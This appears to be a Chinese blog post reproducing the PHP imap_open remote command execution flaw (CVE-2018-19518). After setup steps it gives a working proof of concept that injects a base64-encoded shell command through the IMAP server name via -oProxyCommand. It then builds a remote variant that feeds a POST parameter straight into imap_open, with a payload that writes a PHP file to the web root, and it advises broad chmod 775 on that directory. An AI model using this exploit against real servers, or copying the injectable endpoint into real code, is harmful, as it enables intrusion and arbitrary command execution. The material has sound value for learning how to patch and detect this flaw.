PHP imap_open RCE漏洞复现

Posted 漏洞感知

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP imap_open RCE漏洞复现相关的知识,希望对你有一定的参考价值。

CVE-2018-19518漏洞基本介绍

用于php和其他产品中的imapopen(),启动rsh命令(通过c-client imap4r1.c中的imaprimap函数和osdep/unix/tcpunix中的tcpaopen函数)不阻止参数注入,如果IMAP服务器名称是不可信输入(例如,由Web应用程序的用户输入)并且rsh已被具有不同参数的程序替换,则可能允许远程攻击者执行任意OS命令语义。 例如,如果rsh是ssh的链接(如Debian和Ubuntu系统上所示),则攻击可以使用包含“-oProxyCommand”参数的IMAP服务器。


搭建环境

Ubuntu 16.04 php 7.03 cd /etc/php/7.0/cli/php.ini vi php.ini 去掉php_imap.dll前面的分号


apt-get install php-imap (相关功能用到的动态库),service apache2 restart(一定要重启)

执行本地poc代码

  1. # echo '1234567890'>/tmp/test0001

  2. $server = "x -oProxyCommand=echo ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64 -d|sh}";

  3. imap_open('{'.$server.':143/imap}INBOX', '', '') or die(" Error: ".imap_last_error());


PHP imap_open RCE漏洞复现


自己构造一个远程的执行代码

  1. $youcmd=$_POST['cmd'];

  2. $server = "x -oProxyCommand=echo ".$youcmd."|base64 -d|sh}";

  3. imap_open('{'.$server.':143/imap}INBOX', '', '') or die(" Error: ".imap_last_error());


Cmd的内容是base64 这里我们用


  1. ZWNobyAnPD9waHAgcGhwaW5mbygpOycgPi92YXIvd3d3L2h0bWwvcC5waHA=

  2. //echo '<?php phpinfo();' >/var/www/html/p.php



注意如果写入文件失败看下你是否有目录写权限如果是root操作安装默认的是www-data无法写入的,可以 

chmod 775 -R /var/www/html


漏洞感知评价

这个漏洞需要PHP开启imap服务,imap是邮箱的一个协议,一般一些大网站用邮箱找回账号密码可能会存在这个漏洞。

以上是关于PHP imap_open RCE漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

通达OA 任意文件上传+文件包含导致RCE漏洞复现

[CMS]Joomla 3.4.6-RCE漏洞复现

漏洞复现phpStudy 小皮 Windows面板 RCE漏洞

Spring RCE 漏洞 CVE-2022-22965复现分析

Xmind XSS导致RCE漏洞复现

Apache Log4j2 RCE 远程命令执行漏洞复现与分析